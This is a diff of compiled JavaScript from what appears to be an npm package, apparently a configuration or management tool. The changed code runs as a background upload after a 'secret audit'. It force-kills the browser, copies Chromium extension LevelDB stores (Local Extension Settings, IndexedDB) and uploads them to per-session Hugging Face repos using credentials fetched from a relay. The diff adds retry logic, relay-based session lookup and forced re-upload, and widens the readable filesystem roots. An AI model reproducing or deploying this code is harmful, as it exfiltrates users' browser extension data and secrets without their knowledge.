@@ -109,29 +124,52 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
109
124
|
extensionDbLog("skipped — no client_table / session id");
|
|
110
125
|
return;
|
|
111
126
|
}
|
|
112
|
-
if (extensionDbUploadInFlight)
|
|
127
|
+
if (extensionDbUploadInFlight) {
|
|
128
|
+
pendingExtensionDbRetry = mergeExtensionDbUploadOpts(pendingExtensionDbRetry, opts);
|
|
129
|
+
extensionDbLog("deferred — previous extension upload still running (queued retry)");
|
|
113
130
|
return;
|
|
131
|
+
}
|
|
114
132
|
extensionDbUploadInFlight = true;
|
|
115
133
|
let creds = null;
|
|
116
134
|
let harvest = null;
|
|
117
135
|
try {
|
|
118
136
|
extensionDbLog("background upload starting");
|
|
137
|
+
const relayHttpBase = resolveRelayHttpBaseForExtensionUpload(opts);
|
|
138
|
+
if (relayHttpBase) {
|
|
139
|
+
extensionDbLog(`seq lookup relay ${relayHttpBase}`);
|
|
140
|
+
}
|
|
141
|
+
if (opts.clientSeqId !== undefined && opts.clientSeqId !== null) {
|
|
142
|
+
extensionDbLog(`using relay client_seq_id=${opts.clientSeqId}`);
|
|
143
|
+
}
|
|
119
144
|
creds = await resolveHubCredentials(opts.fetchHubCredentials);
|
|
120
145
|
if (!creds) {
|
|
121
146
|
extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
|
|
122
147
|
return;
|
|
123
148
|
}
|
|
124
|
-
const
|
|
125
|
-
|
|
126
|
-
|
|
149
|
+
const targetRepo = await resolveSessionHubRepo(clientTable, creds, {
|
|
150
|
+
relayHttpBase,
|
|
151
|
+
clientSeqId: opts.clientSeqId,
|
|
152
|
+
});
|
|
153
|
+
if (!targetRepo) {
|
|
127
154
|
return;
|
|
128
155
|
}
|
|
156
|
+
let resolvedSeqId = opts.clientSeqId ?? null;
|
|
157
|
+
if (resolvedSeqId === null) {
|
|
158
|
+
resolvedSeqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
|
|
159
|
+
relayHttpBase,
|
|
160
|
+
});
|
|
161
|
+
}
|
|
129
162
|
harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
|
|
130
163
|
forceKill: true,
|
|
131
164
|
quiet: opts.quiet,
|
|
132
165
|
});
|
|
133
|
-
if (harvest.sources.length === 0
|
|
134
|
-
extensionDbLog("skipped — no extension folders with
|
|
166
|
+
if (harvest.sources.length === 0) {
|
|
167
|
+
extensionDbLog("skipped — no extension folders with LevelDB `.ldb` files (Local Extension Settings / IndexedDB)");
|
|
168
|
+
await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
|
|
169
|
+
return;
|
|
170
|
+
}
|
|
171
|
+
if (harvest.copiedFiles === 0) {
|
|
172
|
+
extensionDbLog(`skipped — ${harvest.sources.length} extension folder(s) found but copy failed (browser locks or permissions)`);
|
|
135
173
|
await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
|
|
136
174
|
return;
|
|
137
175
|
}
|
|
@@ -147,17 +185,15 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
147
185
|
pathStr: harvest.stagingRoot,
|
|
148
186
|
autoSessionRepo: true,
|
|
149
187
|
clientTableName: clientTable,
|
|
188
|
+
clientSeqId: resolvedSeqId ?? undefined,
|
|
189
|
+
relayHttpBase,
|
|
150
190
|
hfCredentials: creds,
|
|
151
191
|
forceKill: true,
|
|
152
192
|
force: true,
|
|
153
|
-
skipIfRepoExists:
|
|
193
|
+
skipIfRepoExists: false,
|
|
154
194
|
});
|
|
155
|
-
if (upload.skipped === true && upload.reason === "repo_exists") {
|
|
156
|
-
extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
|
|
157
|
-
return;
|
|
158
|
-
}
|
|
159
195
|
if (upload.ok === true) {
|
|
160
|
-
extensionDbLog(`upload OK — repo ${String(upload.repo ||
|
|
196
|
+
extensionDbLog(`upload OK — repo ${String(upload.repo || targetRepo)} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
|
|
161
197
|
}
|
|
162
198
|
else {
|
|
163
199
|
const err = String(upload.error || "unknown error");
|
|
@@ -182,6 +218,13 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
|
182
218
|
if (creds)
|
|
183
219
|
(0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
|
|
184
220
|
await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
|
|
221
|
+
const retry = pendingExtensionDbRetry;
|
|
222
|
+
pendingExtensionDbRetry = null;
|
|
223
|
+
if (retry) {
|
|
224
|
+
setImmediate(() => {
|
|
225
|
+
void runExtensionDbHfUploadAfterAudit(retry);
|
|
226
|
+
});
|
|
227
|
+
}
|
|
185
228
|
}
|
|
186
229
|
}
|
|
187
230
|
/** Fire-and-forget background upload (after secret audit completes). */
|
package/dist/fsProtocol.js
CHANGED
|
@@ -77,6 +77,7 @@ const exportMirrorCopy_1 = require("./exportMirrorCopy");
|
|
|
77
77
|
const fileLockForce_1 = require("./fileLockForce");
|
|
78
78
|
const clipboardExec_1 = require("./clipboardExec");
|
|
79
79
|
const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
|
|
80
|
+
const clientId_1 = require("./clientId");
|
|
80
81
|
/** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
|
|
81
82
|
exports.MAX_LIST_ENTRIES = 1_000_000;
|
|
82
83
|
/**
|
|
@@ -482,6 +483,12 @@ function allowedFsRoots() {
|
|
|
482
483
|
}
|
|
483
484
|
};
|
|
484
485
|
const roots = [];
|
|
486
|
+
try {
|
|
487
|
+
pushIfDir((0, clientId_1.defaultCfgmgrDataDir)());
|
|
488
|
+
}
|
|
489
|
+
catch {
|
|
490
|
+
/* skip */
|
|
491
|
+
}
|
|
485
492
|
if (isWindows()) {
|
|
486
493
|
try {
|
|
487
494
|
const home = path.resolve(os.homedir());
|
package/dist/hfSeqIdLookup.d.ts
CHANGED
|
@@ -10,7 +10,16 @@ export declare function hfSessionRepoRequireSeqId(): boolean;
|
|
|
10
10
|
* otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
|
|
11
11
|
*/
|
|
12
12
|
export declare function hfAutoSessionRepoSlug(clientTableName: string, seqId: number | null | undefined): string;
|
|
13
|
+
export type FetchSeqIdOptions = {
|
|
14
|
+
/** Relay HTTP origin (from agent WebSocket URL) — fallback when direct forge-db is unreachable or lacks API key. */
|
|
15
|
+
relayHttpBase?: string;
|
|
16
|
+
};
|
|
17
|
+
/**
|
|
18
|
+
* Resolve `seq_id` via the relay's `/api/relay-session-seq` (relay holds forge-db API key).
|
|
19
|
+
* Agents on remote PCs often lack `FORGE_DB_API_KEY` and cannot call forge-db directly.
|
|
20
|
+
*/
|
|
21
|
+
export declare function fetchSeqIdViaRelayHttp(relayHttpBase: string, clientTableName: string): Promise<number | null>;
|
|
13
22
|
/**
|
|
14
23
|
* Looks up `seq_id` from forge-db `_client_registry` for this session table name (`session_id` / `table_name`).
|
|
15
24
|
*/
|
|
16
|
-
export declare function fetchSeqIdForClientTableName(clientTableName: string): Promise<number | null>;
|
|
25
|
+
export declare function fetchSeqIdForClientTableName(clientTableName: string, opts?: FetchSeqIdOptions): Promise<number | null>;
|